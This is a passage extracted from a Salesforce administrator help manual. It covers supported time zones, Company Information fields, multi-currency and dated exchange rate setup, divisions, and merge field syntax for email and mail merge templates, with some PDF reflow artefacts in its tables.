Time Zone Code GMT+10:30 GMT+10:00 GMT+10:00 GMT+09:30 GMT+09:30 GMT+09:00 GMT+09:00 GMT+08:00 GMT+08:00 GMT+08:00 GMT+08:00 GMT+08:00 GMT+08:00 GMT+08:00 GMT+07:00 GMT+07:00 GMT+07:00 GMT+06:30 GMT+06:00 GMT+05:45 GMT+05:30 GMT+05:30 GMT+05:00 GMT+05:00 GMT+05:00 GMT+04:30 GMT+04:00 GMT+04:00 GMT+03:30 GMT+03:00 GMT+03:00

Time Zone Name Lord Howe Summer Time (Australia/Lord_Howe) Eastern Standard Time (Queensland) Eastern Summer Time (New South Wales) Central Summer Time (South Australia) Central Standard Time (Northern Territory) Korea Standard Time (Asia/Seoul) Japan Standard Time (Asia/Tokyo) Hong Kong Time (Asia/Hong_Kong) Malaysia Time (Asia/Kuala_Lumpur) Philippines Time (Asia/Manila) China Standard Time (Asia/Shanghai) Singapore Time (Asia/Singapore) China Standard Time (Asia/Taipei) Western Standard Time (Australia) Indochina Time (Asia/Bangkok) West Indonesia Time (Asia/Jakarta) Indochina Time (Asia/Saigon) Myanmar Time (Asia/Rangoon) Bangladesh Time (Asia/Dacca) Nepal Time (Asia/Katmandu) India Standard Time (Asia/Calcutta) India Standard Time (Asia/Colombo) Pakistan Summer Time (Asia/Karachi) Uzbekistan Time (Asia/Tashkent) Yekaterinburg Time (Asia/Yekaterinburg) Afghanistan Time (Asia/Kabul) Gulf Standard Time (Asia/Dubai) Georgia Time (Asia/Tbilisi) Iran Standard Time (Asia/Tehran) Eastern African Time (Africa/Nairobi) Arabia Standard Time (Asia/Baghdad)

408

Company Information

Supported Time Zones

Time Zone Code GMT+03:00 GMT+03:00 GMT+03:00 GMT+02:00 GMT+02:00 GMT+02:00 GMT+02:00 GMT+02:00 GMT+02:00 GMT+02:00 GMT+02:00 GMT+01:00 GMT+01:00 GMT+01:00 GMT+01:00 GMT+01:00 GMT+01:00 GMT+00:00 GMT+00:00 GMT+00:00 GMT+00:00 GMT-01:00 GMT-02:00 GMT-03:00 GMT-03:00 GMT-03:30 GMT-04:00 GMT-04:00 GMT-04:00 GMT-04:00 GMT-04:30

Time Zone Name Arabia Standard Time (Asia/Kuwait) Arabia Standard Time (Asia/Riyadh) Moscow Standard Time (Europe/Moscow) Eastern European Time (Africa/Cairo) South Africa Standard Time (Africa/Johannesburg) Israel Standard Time (Asia/Jerusalem) Eastern European Time (Europe/Athens) Eastern European Time (Europe/Bucharest) Eastern European Time (Europe/Helsinki) Eastern European Time (Europe/Istanbul) Eastern European Time (Europe/Minsk) Central European Time (Europe/Amsterdam) Central European Time (Europe/Berlin) Central European Time (Europe/Brussels) Central European Time (Europe/Paris) Central European Time (Europe/Prague) Central European Time (Europe/Rome) Irish Summer Time (Europe/Dublin) Western European Summer Time (Europe/Lisbon) British Summer Time (Europe/London) Greenwich Mean Time (GMT) Cape Verde Time (Atlantic/Cape_Verde) South Georgia Standard Time (Atlantic/South_Georgia) Argentine Summer Time (America/Buenos_Aires) Brasilia Summer Time (America/Sao_Paulo) Newfoundland Daylight Time (America/St_Johns) Atlantic Daylight Time (America/Halifax) Atlantic Standard Time (America/Puerto_Rico) Chile Summer Time (America/Santiago) Atlantic Daylight Time (Atlantic/Bermuda) Venezuela Time (America/Caracas)

409

Company Information

Company Information Fields

Time Zone Code GMT-05:00 GMT-05:00 GMT-05:00 GMT-05:00 GMT-05:00 GMT-06:00 GMT-06:00 GMT-06:00 GMT-07:00 GMT-07:00 GMT-08:00 GMT-08:00 GMT-09:00 GMT-10:00 GMT-11:00 GMT-11:00

Time Zone Name Colombia Time (America/Bogota) Eastern Daylight Time (America/Indianapolis) Peru Time (America/Lima) Eastern Daylight Time (America/New_York) Eastern Standard Time (America/Panama) Central Daylight Time (America/Chicago) Central Standard Time (America/El_Salvador) Central Standard Time (America/Mexico_City) Mountain Daylight Time (America/Denver) Mountain Standard Time (America/Phoenix) Pacific Daylight Time (America/Los_Angeles) Pacific Standard Time (America/Tijuana) Alaska Daylight Time (America/Anchorage) Hawaii Standard Time (Pacific/Honolulu) Niue Time (Pacific/Niue) Samoa Standard Time (Pacific/Pago_Pago)

See Also:
Understanding Language, Locale, and Currency

Company Information Fields


The available fields vary according to which Salesforce Edition you have.

The Company Information page has the following fields (listed in alphabetical order), including the user and feature licenses purchased for your organization. Field
Active Salesforce Users Address

Description Number of active Salesforce users for the organization. Street address of the organization. Up to 255 characters are allowed in this field.

410

Company Information

Company Information Fields

Field
Admin Newsletter

Description Allow administrators in your organization to choose whether they want to receive administrator-targeted promotional emails from salesforce.com. The total number of API requests issued by the organization in the last 24 hours. The maximum number of requests depends on your Edition. For a list of request limits by Edition, see Force.com API Usage Limits on page 1981. For more information about API usage notification, see About API Usage Notifications on page 834 or the Web Services API Developer's Guide. City in which organization is located. Up to 40 characters are allowed in this field. The currency in which the organization's corporate headquarters reports revenue. Serves as the basis for all currency conversion rates. Only for organizations that use multiple currencies. Country in which organization is located. Up to 40 characters are allowed in this field. User who signed up the organization, including creation date and time. (Read only) The country or geographic region in which the organization is located. The setting affects the format of currency amounts. For single currency organizations only. The default language that is selected for new users in the organization. This setting determines the language used for the user interface text and help. This setting also determines the language in which all customizationssuch as custom fields, tabs, and user interface optionsare stored. For customizations, individual users' language settings do not override this setting.

API Requests, Last 24 Hours

City

Corporate Currency

Country

Created By

Currency Locale

Default Language

Default Locale

The default country or geographic region that is selected for new users in the organization. This setting determines the format of dates, times, and names in Salesforce. In Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Edition organizations, individual users can set their personal locale, which overrides the organization setting. In Group Edition, this field is called Locale.

411

Company Information

Company Information Fields

Field
Default Time Zone

Description Primary time zone in which the organization is located. A user's individual Time Zone setting overrides the organization's Default Time Zone setting. Note: Organizations in Arizona should select Mountain Standard Time, and organizations in parts of Indiana that do not follow Daylight Savings Time should select Eastern Standard Time.

Division

Group or division that uses the service, for example, PC Sales Group. Up to 40 characters are allowed in this field. Fax number. Up to 40 characters are allowed in this field. If using a standard fiscal year, the starting month and year for the organizations fiscal year. If using a custom fiscal year, the value will be Custom Fiscal Year. Select this checkbox to prevent advance notices about planned system downtime from displaying to users when they log in to Salesforce. Select this checkbox to prevent advance notices about planned system maintenance from displaying to users when they log in to Salesforce. User who last changed the company information, including modification date and time. (Read only) Allow users in your organization to choose whether they want to receive user-targeted promotional emails from salesforce.com. Name of the organization. Up to 80 characters are allowed in this field. Main phone number at organization. Up to 40 characters are allowed in this field. Person who is main contact or administrator at the organization. You can enter a name, or select a name from a list of previously defined users. Up to 80 characters are allowed in this field. Number of Salesforce user accounts that can be defined for access to the service. This is the number of Salesforce user licenses for which the organization is billed, if charges apply. Code that uniquely identifies your organization to salesforce.com.

Fax Fiscal Year Starts In

Hide Notices About System Downtime

Hide Notices About System Maintenance

Modified By

Newsletter

Organization Name

Phone

Primary Contact

Salesforce Licenses

Salesforce.com Organization ID

412

Multiple Currencies

Managing Multiple Currencies

Field
Restricted Logins, Current Month

Description Number of restricted login users who have logged in during the current month. This value resets to zero at the beginning of each month. The maximum number of restricted login users for the organization is in parentheses.

State

State or province in which organization is located. Up to 20 characters are allowed in this field. Zip or postal code of the organization. Up to 20 characters are allowed in this field. Amount of data storage in use; the value is expressed as a measurement (for example, 500 MB) and as a percentage of the total amount of data storage available (for example, 10%). Amount of file storage in use; the value is expressed as a measurement (for example, 500 MB) and as a percentage of the total amount of file storage available (for example, 10%).

Zip

Used Data Space

Used File Space

See Also:
About Company Information Understanding Language, Locale, and Currency

MULTIPLE CURRENCIES
Managing Multiple Currencies
Available in: Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view currencies: To change currencies: View Setup and Configuration Customize Application

Your organization can set up the ability to use multiple currencies in opportunities, forecasts, quotes, reports, and other data. 1. Contact salesforce.com to enable Multi-Currency for your organization.

413

Multiple Currencies

Managing Multiple Currencies

Note: For large organizations, Multi-Currency might be enabled over the next weekend to avoid performance issues during the work week. 2. 3. 4. 5. Designate your corporate currency. See Setting Corporate Currency on page 415. Activate additional currencies for your organization. See Activating and Deactivating Currencies on page 415. To use dated exchange rates, enable advanced currency management. Set conversion rates for new currencies. See Editing Conversion Rates. If you have enabled advanced currency management, see Editing Dated Exchange Rates on page 419.

Using Multiple Currencies


International organizations can use multiple currencies in opportunities, forecasts, reports, quotes, and other currency fields. The administrator sets the corporate currency, which reflects the currency of the corporate headquarters. The administrator also maintains the list of active currencies and their conversion rates relative to the corporate currency. The active currencies represent the countries in which the organization does business. Only active currencies can be used in currency amount fields. Every user also has a personal currency, which is used as the default currency in his or her own quotas, forecasts (depending on which forecasting version you use), opportunities, quotes, and reports. Users can also create opportunities and enter amounts using other active currencies. Every lead, account, contact, opportunity, and case has a field that specifies the currency to use for all amount fields in that record. For example, you can set the Account Currency to USD-U.S. Dollars so that the Annual Revenue shows in dollars for one of your American accounts. All currency amounts are displayed in the default currency of the record as well as in the personal currency of the user. When you change the default currency of a record, currency amounts are not converted; they simply display with the new currency code. Note: If your organization uses advanced currency management, the opportunity close date determines which conversion rate to use when displaying currency amounts. Depending on the forecasting version you have, forecasts currency amounts are automatically converted to the users personal currency; additionally, for managers, their teams opportunities, forecasts, quotes, and other data is converted and rolled up to the managers personal currency. The manager can also drill down to see the data in its native currency. All conversion and roll-ups happen automatically. Amounts in reports are shown in their original currencies, but can be displayed in any active currency. You can change the currency used for report totals by selecting a currency from Show > Currencies. The default value for the drop-down is your personal currency. For any amount, you can also choose to display the Converted columnfor example, Annual Revenue Convertedwhich will show amounts in the currency you select. Custom formula fields are not tied to any particular currency. If the result of a formula field is a currency amount, it displays in the currency of the associated record. This is also true for cross-object formulas that reference merge fields with different currencies, and formulas in workflow rules and approval processes. However, note that workflow rules and approval processes that use filters instead of formulas convert all currency values to the corporate currency. You cannot disable multiple currencies for your organization if the currency fields are referenced in an Apex script. For example, if a script references the Account Currency field (represented as CurrencyIsoCode in the code), multiple currencies cannot be disabled. For more information, see Apex Code Overview on page 1825.

See Also:
Administrator setup guide: Using Multiple Currencies Importing Multiple Currencies

414

Multiple Currencies

Setting Corporate Currency

Setting Corporate Currency


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view currencies: To change currencies: View Setup and Configuration Customize Application

Your administrator must specify a Corporate Currency, which reflects the currency in which your corporate headquarters reports revenue. A salesforce.com representative initially sets your corporate currency upon activation of the feature. To change your corporate currency: 1. Click Your Name > Setup > Company Profile > Manage Currencies. 2. Click Change Corporate. 3. Choose a new corporate currency from the list of active currencies, and click Save. If you have not yet set up any currencies, see Activating and Deactivating Currencies on page 415. The corporate currency is the currency on which all of your conversion rates are based.

See Also:
Managing Multiple Currencies Editing Conversion Rates About Advanced Currency Management Administrator setup guide: Using Multiple Currencies

Activating and Deactivating Currencies


Available in: Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view currencies: To change currencies: View Setup and Configuration Customize Application

To use multiple currencies, your administrator must specify which currencies are supported for your organization. Active currenciesThese represent countries in which your organization does business. Only active currencies can be entered in opportunities, forecasts, and other items.Once you activate a currency, you can never permanently delete it.

415

Multiple Currencies

Editing Conversion Rates

Inactive currenciesThese are currencies that your organization no longer uses. You may have existing records that use inactive currencies, but you cannot enter new amounts in inactive currencies.

To activate new currencies: 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Company Profile > Manage Currencies. Click New in the Active Currencies related list. Select a currency. Currencies are alphabetized using their ISO currency code. Enter the conversion rate relative to your corporate currency. Specify the number of decimal places to show for amounts in this currency. Click Save.

To activate a currency from the list of inactive currencies, click Activate next to the currency. To deactivate a currency, click Deactivate next to the currency. Deactivating a currency does not alter amounts in items that use that currency. However, you can no longer enter new amounts using the inactive currency. Note: Deactivating a currency that is set as a users personal currency automatically resets the users currency to the corporate currency.

See Also:
Managing Multiple Currencies Setting Corporate Currency Editing Conversion Rates About Advanced Currency Management Administrator setup guide: Using Multiple Currencies

Editing Conversion Rates


Available in: Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view currencies: To change currencies: View Setup and Configuration Customize Application

You can manage exchange rates between your active and inactive currencies and the corporate currency by editing the conversion rates. These are static exchange rates that apply to all currency fields used in your organization. In addition to these conversion rates, your organization may also use dated exchange rates for opportunities and opportunity products. For more information about dated exchange rates, see About Advanced Currency Management on page 417. To edit your organization's static conversion rates: 1. Click Your Name > Setup > Company Profile > Manage Currencies. 2. If advanced currency management is enabled, click Manage Currencies.

416

Advanced Currency Management

About Advanced Currency Management

3. Click Edit Rates in the Active Currencies or Inactive Currencies lists. 4. Enter the conversion rate between each currency and your corporate currency. 5. Click Save. When you change the conversion rates, currency amounts are updated using the new rates. Previous conversion rates are not stored. All conversions within opportunities, forecasts, and other amounts use the current conversion rate. If your organization uses advanced currency management, you can also manage dated exchange rates for currency fields on opportunities and opportunity products. To manage dated exchange rates, see Editing Dated Exchange Rates on page 419. Note: You cannot track revenue gain or loss based on currency fluctuations. Changing conversion rates causes a mass recalculation of roll-up summary fields, which may take up to 30 minutes, depending on the number of records affected and other factors.

See Also:
Managing Multiple Currencies Setting Corporate Currency Activating and Deactivating Currencies Administrator setup guide: Using Multiple Currencies

ADVANCED CURRENCY MANAGEMENT


About Advanced Currency Management
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable advanced currency management: To view currencies: To change currencies: Customize Application View Setup and Configuration Customize Application

Advanced currency management allows you to manage dated exchange rates within opportunities using Salesforce. Dated exchange rates allow you to map a conversion rate to a specific date range. For example, the exchange rate on January 1 was 1 USD to 1.39 AUD, but on February 1, it changed to 1 USD to 1.42 AUD. Your opportunities that closed between January 1 and February 1 use the first exchange rate (1 = 1.39), while opportunities that closed after February 1 used the second exchange rate (1 = 1.42).

417

Advanced Currency Management

About Advanced Currency Management

Dated exchange rates are defined using a start date and a conversion rate. Each rate is in effect until either the end of time or the day before the next start date for that currency. The time between on start date and the next start date is called the exchange rate date range. These ranges can be as small as a day and as large as all of time. To enable or disable advanced currency management, see Enabling or Disabling Advanced Currency Management on page 418. When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated exchange rates. These rates will be valid for all time, until you define another set of exchange rates. For more information, see Editing Dated Exchange Rates on page 419. If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion Rates on page 416.

Advanced Currency Management Considerations


Dated exchange rates are used for opportunities, opportunity products, opportunity product schedules, campaign opportunity fields, and reports related to these objects and fields. Dated exchange rates are not used in forecasting, currency fields in other objects, or currency fields in other types of reports. Organizations with advanced currency management support roll-up summary fields between two advanced currency management objects. For example, roll-up summary fields are supported from an opportunity line object to its opportunity object, because both are advanced currency management enabled. However, if you enable advanced currency management, you cannot create roll-up summary fields that calculate currency on the opportunity object rolling up to the account object. All existing currency-related roll-up summary fields on the opportunity object are disabled and their values are no longer calculated. If your organization enables advanced currency management, you should delete any currency roll-up summary fields using opportunities and accounts or opportunities and custom objects. Campaign opportunity fields use dated exchange rates when calculating the amount in the campaign currency, but are not used when converting those amounts to the user currency. Cross-object formulas always use the static conversion rate for currency conversion. If advanced currency management is enabled, you can't bind Visualforce pages that use <apex:inputField> or <apex:outputField> components to currency fields that support advanced currency management.

See Also:
Managing Multiple Currencies Setting Corporate Currency Activating and Deactivating Currencies Administrator setup guide: Using Multiple Currencies

Enabling or Disabling Advanced Currency Management

418

Advanced Currency Management

Enabling or Disabling Advanced Currency Management

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions.

User Permissions Needed To enable advanced currency management: Customize Application

To enable advanced currency management: 1. 2. 3. 4. Enable multiple currencies for your organization. For more information, see Managing Multiple Currencies on page 413. Click Your Name > Setup > Company Profile > Manage Currencies. Click Enable. When prompted, select Yes, I want to enable Advanced Currency Management and click Enable.

When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated exchange rates. These rates will be valid for all time, until you define another set of exchange rates. To disable advanced currency management: 1. Click Your Name > Setup > Company Profile > Manage Currencies. 2. Click Disable. 3. When prompted, select Yes, I want to disable Advanced Currency Management and click Disable. If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion Rates on page 416. When advanced currency management is enabled, Visualforce <apex:inputField> and <apex:outputField> components cannot display currency fields.

See Also:
About Advanced Currency Management

Editing Dated Exchange Rates


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view currencies: To change currencies: View Setup and Configuration Customize Application

To add new dated exchange rates: 1. Click Your Name > Setup > Company Profile > Manage Currencies. 2. Click Manage Dated Exchange Rates.

419

Advanced Currency Management

Editing Dated Exchange Rates

3. Click New Exchange Rates. 4. Enter the date that the exchange rates go into effect. 5. Enter the exchange rates. Note: The exchange rates will default to the current exchange rate. If you do not want to set a new exchange rate for a currency, delete the exchange rate (leave the field blank). 6. Click Save to save the new dated exchange rates. To view existing dated exchange rates: 1. Click Your Name > Setup > Company Profile > Manage Currencies. 2. Click Manage Dated Exchange Rates. 3. Select the date range you want to view either by entering the date and clicking Go!, or by selecting Previous Range or Next Range. To delete a dated exchange rate for a particular currency: 1. 2. 3. 4. Click Your Name > Setup > Company Profile > Manage Currencies. Click Manage Dated Exchange Rates. Click the name of the currency you want to edit. Click Del for the date range you want to delete. If the date range you want is not displayed, enter it in the Show all rates with start dates between fields and click Go!. To edit your dated exchange rates for a particular currency: 1. 2. 3. 4. Click Your Name > Setup > Company Profile > Manage Currencies. Click Manage Dated Exchange Rates. Click the name of the currency you want to edit. Click Edit for the date range you want to edit. If the date range you want is not displayed, enter it in the Show all rates with start dates between fields and click Go!. 5. Edit the exchange rate, setting it to the new value for the date range, and click Save.

See Also:
About Advanced Currency Management Managing Multiple Currencies Setting Corporate Currency Activating and Deactivating Currencies Editing Conversion Rates Administrator setup guide: Using Multiple Currencies

420

Divisions

About Divisions

DIVISIONS
About Divisions
Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed To create or edit divisions: To limit list views, searches, and reports by division: Modify All Data Affected by Divisions

Divisions let you segment your organization's data into logical sections, making searches, reports, and list views more meaningful to users. For example, you can create a report to show the opportunities for just the North American division, allowing you to get accurate sales numbers for the North American sales team. Divisions are useful for organizations with extremely large amounts of data. Note: Contact salesforce.com to enable divisions for your organization. Divisions do not restrict users access to data and are not meant for security purposes.

See Also:
Overview of Divisions Getting Started with Divisions Creating and Editing Divisions Transferring Divisions Changing Your Working Division Changing Your Default Division Administrator tip sheet: Getting Started with Divisions

421

Divisions

Overview of Divisions

Overview of Divisions
Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed To create or edit divisions: To limit list views, searches, and reports by division: Modify All Data Affected by Divisions

There are three basic aspects to divisions: Division on individual recordsDivision is a field on individual records which marks the record as belonging to a particular division. A record can belong to a division that the administrator creates, or it can belong to the standard global division which is created automatically when your organization enables divisions. Default division for a userUsers are assigned to a default division that applies to their newly created accounts, leads, and custom objects that are enabled for divisions. Working divisionIf you have the Affected by Divisions permission, you set the division in which you want to work using a drop-down list in the sidebar. Then, searches will show only the data for your working division. You can change your working division at any time. If you do not have the Affected by Divisions permission, you do not have a working division; you always see records in all divisions.

The following table shows how using divisions affects different areas: Area Search Description If you have the Affected by Divisions permission: In Sidebar Search, you can select a working division to search, or you can search all divisions. In Advanced Search, you can perform an advanced search on a working division or all divisions. In Global Search, you can perform a global search on a working division or all divisions. For searches in lookup dialogs, the results include records in the division you select from the drop-down list in the lookup dialog window. Note: All searches within a working division also include the global division. For example, if you search within a working division called Western Division, your results will include records found in both the Western Division and the global division. If you do not have the Affected by Divisions permission, your search results always include records in all divisions.

422

Divisions

Overview of Divisions

Area List views

Description If you have the Affected by Divisions permission, list views include only the records in the division you specify when creating or editing the list view. List views that are not searching all records (such as My Open Cases) include records in all divisions. If you do not have the Affected by Divisions permission, your list views always include records in all divisions.

Reports

If you have the Affected by Divisions permission, you can set your report options to include records in just one division or all divisions. Reports that are already scoped (such as My Cases or My teams accounts) include records in all divisions, and you cannot further limit them to a specific division. If you do not have the Affected by Divisions permission, your reports always include records in all divisions.

Viewing records and related lists

When viewing the detail page of a record, the related lists show all associated records to which you have access, regardless of division. When you create new accounts, leads, or custom objects that are enabled for divisions, the division is automatically set to your default division, unless you override this setting. When you create new records related to an account or other record that already has a division, the new record is assigned to the existing records division. For example, if you create a custom object record that is on the detail side of a master-detail relationship with a custom object that has divisions enabled, it is assigned the master record's division. When you create records that are not related to other records, such as private opportunities or contacts not related to an account, the division is automatically set to the global division.

Creating new records

Editing records

When editing accounts, leads, or custom objects that are enabled for divisions, you can change the division. All records that are associated through a master-detail relationship are automatically transferred to the new division as well. For example, contacts and opportunities are transferred to the new division of their associated account, and detail custom objects are transferred to their master record's new division. When editing other types of records, you cannot change the division setting.

423

Divisions

Getting Started with Divisions

Area Custom objects

Description When you enable divisions for a custom object, Salesforce initially assigns each record for that custom object to the global division. When you create a custom object record: If the custom object is enabled for divisions, the record adopts your default division. If the custom object is on the detail side of a master-detail relationship with a divisions-enabled custom object, it adopts the division of the master record.

Relationships

If you convert a lookup relationship to a master-detail relationship, detail records lose their current division and inherit the division of their master record. If you convert a master-detail relationship to a lookup relationship, the division for any detail records is determined by the previous master record. If you delete a master-detail relationship, the division for any detail records is determined by the previous master record.

See Also:
Getting Started with Divisions Administrator tip sheet: Getting Started with Divisions About Divisions

Getting Started with Divisions


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed To create or edit divisions: To limit list views, searches, and reports by division: Modify All Data Affected by Divisions

The basic steps to begin using divisions are: 1. Contact salesforce.com to enable divisions for your organization. When divisions are enabled, one global division is automatically created for your organization and all records are assigned to that division by default. The default name for this division is Global, which you may customize if you wish.

424

Divisions

Creating and Editing Divisions

2. Create divisions for your organization's data. See Creating and Editing Divisions on page 425. Before creating divisions, plan which divisions you need based on how you want to segment your data. For example, you may want one division for all of the records belonging to your North American sales team and one division for your European sales team. You can create a maximum of 100 divisions, including any inactive ones. 3. For custom objects, select Enable Divisions on the custom object definition page to enable for divisions. See Defining Custom Objects on page 1604. 4. Transfer leads, accounts, and custom objects into relevant divisions. See Transferring Divisions on page 716. Transferring records includes associated records. For example, when you transfer divisions for accounts, all records related to a particular account, such as contacts and opportunities, inherit the division of that account. 5. Add division fields to page layouts, as appropriate. 6. Add divisions to field-level security, as appropriate. 7. Enable the Affected by Divisions permission for users who should be able to limit list views, searches, and reports by division. Users without this permission still have a default division, can view division fields, change the division for a record, and specify a division while creating records. 8. Set the default division for all users. See Transferring Divisions on page 716. See also Changing Your Default Division on page 40 for information on changing divisions for one user at a time. A users default division determines the division assigned to all new accounts and leads he or she creates, unless the user explicitly sets a different division. When users create records related to an account or other record that already has a division, the new record is assigned to the existing records division; the default division is not used. Remember to set the default division for all users, even those without the Affected by Divisions permission. Records created by users without that permission are still assigned to a division. 9. Instruct users how to set their working division for searches and reports. See Changing Your Working Division on page 58.

See Also:
Overview of Divisions Administrator tip sheet: Getting Started with Divisions About Divisions

Creating and Editing Divisions


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed To create or edit divisions: To limit list views, searches, and reports by division: Modify All Data Affected by Divisions

To create and edit divisions: 1. Click Your Name > Setup > Company Profile > Manage Divisions.

425

Divisions

Managing Templates

2. Click New to create a division, or Edit to change an existing one. 3. Enter the division name. 4. Select the checkbox to make the division active, meaning that records and users can be assigned to this division. You cannot make a division inactive if users or lead queues are assigned to that division. 5. Click Save. Note: You can create a maximum of 100 divisions, including any inactive ones.

To change the order in which divisions appear in the Division picklist field, click the Sort button and use the arrows to order the divisions.

See Also:
About Divisions Overview of Divisions Getting Started with Divisions Administrator tip sheet: Getting Started with Divisions

Managing Templates
Available in: All Editions except Database.com

Your administrator can create and maintain templates for defining letterheads, sending outbound email, and generating mail merge documents. Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo, color, and text settings from a letterhead. Email templates allow users to send email to contacts, leads, and others using predefined templates. Mail merge templates allow users to create custom documents using the information from your records. For example, you can create a customized thank you letter to a specific lead.

See Also:
Creating Letterheads Managing Email Templates Managing Mail Merge Templates Merge Fields Overview

Merge Fields Overview

426

Divisions

Managing Templates

The available merge fields vary according to which Salesforce Edition you have.

You can use merge fields within custom formula fields, s-controls, custom links, custom buttons, Visualforce pages, and when you create email or mail merge templates. Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information.

Guidelines for Using Merge Fields


General merge field syntax guidelines: The syntax for a merge field may differ, depending on where you are using it in Salesforce. To ensure that you are using the correct syntax, select merge fields from the drop-down list in the editor where you are using the merge field. Here are a few examples of syntax differences: When you insert the Account Number merge field in an email template, the syntax consists of an open curly brace and exclamation point, followed by the type of record, a period, the field name and a closing curly brace: {!Account.AccountNumber}. For formula fields and mail merge templates, the merge field is not enclosed in curly braces or preceded by an exclamation point, nor is it preceded by the type of record, for example: AccountNumber. For custom objects, the field label is preceded with the type of record and all spaces are converted to underscores. For example: {!Stockforce_CreatedDate} references the standard field called Created Date for the Stockforce custom object. For formulas that allow you to reference fields on related objects across multiple relationships, the field name is prefixed by the name of the relationship. For standard relationships, the name of the relationship is the master object. For example, you can reference the account name merge field from a contact validation rule using Account.Name; you can reference the phone number of the account creator from an opportunity product formula field using Opportunity.Account.CreatedBy.Phone. For custom relationships, the name of the relationship is the Field Name given when creating the relationship with __r appended to it. For example, reference the contact email merge field from a custom object validation rule using the Contact__r.Email merge field name. Ensure that both the custom field name and label are not identical to the name and label of any existing standard or custom field for that object. Identical values may result in unexpected behavior when you reference that name in a merge field. If a standard field and custom field have matching names or labels, the merge field displays the value of the custom field. If two custom fields have matching names or labels, the merge field may not display the value of the field you expect.

For example, if you create a field label called Email, the field name automatically populates as Email__c. If you also have a standard field with the label Email, the merge field may not be able to distinguish between the standard and custom field names. Make both the custom field name and label unique by adding a character to each, such as Email2 and Email2__c, respectively. If your organization has enabled person accounts, account fields that previously had unique names and labels may no longer be unique because some contact fields are displayed as part of the account object. These fields on the accounts page are identified by the person account icon ( ). Ensure that all custom fields under account have unique field names and labels so that the merge field references the correct field. For more information, see What is a Person Account? on page 61. Salesforce rounds numbers referenced in merge fields according to the user's locale, not the number of decimal of spaces specified in the number field configuration. Merge field guidelines for email templates and mail merge templates:

427

Divisions

Managing Templates

Each mail merge field label you use must be unique. In email templates, you can add substitute text to any merge field. Substitute text displays in a sent email if the merge record does not contain data for that field. To add substitute text, place a comma after the field name and enter the text before the closing bracket, for example: Dear {!Contact.FirstName, Sir or Madam}. When you save the template, the merge field will appear in the email template with the following syntax: Dear {!BLANKVALUE(Contact.FirstName, "Sir or Madam")}. For mail merge templates, your merge fields can contain only letters, numbers, and the underscore (_) character. For example, Opportunity_Product_# is not allowed. Mail merge field names cannot exceed 40 characters. Templates with contact merge fields can be used to generate email and mail merge documents for leads. Likewise, you can use lead templates to generate contact emails and documents. Note: You can only use standard fields when generating email and mail merge documents for leads or contacts.

For opportunity mail merges, you can use contact merge fields to merge additional information about a related contact. Merge fields for entitlements on cases aren't supported. For example, if you add the Entitlement Name {!Case.Entitlement} merge field to an email template, the field is not populated on the template. See Case Fields on page 2822. If you have enabled Email-to-Case or On-Demand Email-to-Case, you can create email templates that support reps can use to respond to case emails. These templates can include merge fields that display information from the original email in the response. For details, see Setting Up Email-to-Case or On-Demand Email-to-Case on page 1280 and Managing Email Templates on page 436. Merge fields for products on opportunities are only available to organizations that have enabled products and can only be used in mail merge templates, but not email templates. Approval process merge fields can be used in email templates, but not mail merge templates. If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these fields will return values only when that email template is used as the approval assignment template. If you use the template for any other email alert actionin either workflow rules or approval processesthe merge fields will return a null value. In approval processes: Merge fields in the approval request email are set to the submitter's name and the name of the first step. When the request is approved, the merge fields update to the most recent approver's name and the name of the second step, if applicable. For subsequent actions, merge field values are updated based on the previous completed step.

The merge fields {!Receiving_User.field_name} and {!Sending_User.field_name} work only in email templates used for mass emails. Campaign and campaign member merge fields can be used in email templates, but not mail merge templates. Campaign member merge fields cannot be used with other types of merge fields in the same email template. For example, if you create an email template using a campaign member merge field and you want to include the title of the recipient, use {!CampaignMember.Title} instead of {!Lead.Title} or {!Contact.Title}. User fields are also known as Sending User fields for administrators and users with the Manage Users permission. Use them in email templates when referencing the person sending the email. Administrators and users with the Manage Users permission can use Receiving User merge fields for email templates to reference the recipient of the email. When account merge fields are included in an email template and this template is selected after a contact is added to the email 'To' field, the Account merge fields are populated from the contact's account, not the case's account. To reference the name, email, phone, or company of the customer who submitted an online case, use the relevant {!Case_OnlineCustomer...} field. To reference the contact or account associated with a case, use the relevant contact or account merge fields.

428

Divisions

Managing Mail Merge Templates

In email templates, the Created Date and Last Modified Date fields display only the date, not the date and time. Additional merge field guidelines: A subset of user fields are available for customizing Self-Service pages. For local account, contact, and lead names, the standard merge field name will be used whenever the local name is blank. If you're using the Translation Workbench to translate custom field names, users can look up merge fields in their chosen language. If your organization uses person accounts, both business account and person account fields are available as account merge fields. Account fields exclusive to person accounts, such as Birthdate, Email, and Title have Account.Person in their merge field names. For example, {!Account.PersonBirthdate}. Furthermore, you can use the merge field {!Account.IsPersonAccount} to determine whether you are working with a person account or a business account. Build cross-object formulas to span to related objects and reference merge fields on those objects. Visualforce pages also can use merge fields. Anything inside {! } is evaluated as an expression that can access values from records that are currently in context. For example, you can display the current user's first name by adding the {!$User.FirstName} merge field to a page:
<apex:page> Hello {!$User.FirstName}! s</apex:page>

See Also:
Setting Custom Buttons and Links Managing Mail Merge Templates Understanding Global Variables

Managing Mail Merge Templates


Available in: All Editions except Database.com

User Permissions Needed To upload mail merge templates: To edit mail merge templates: Manage Public Templates Manage Public Templates

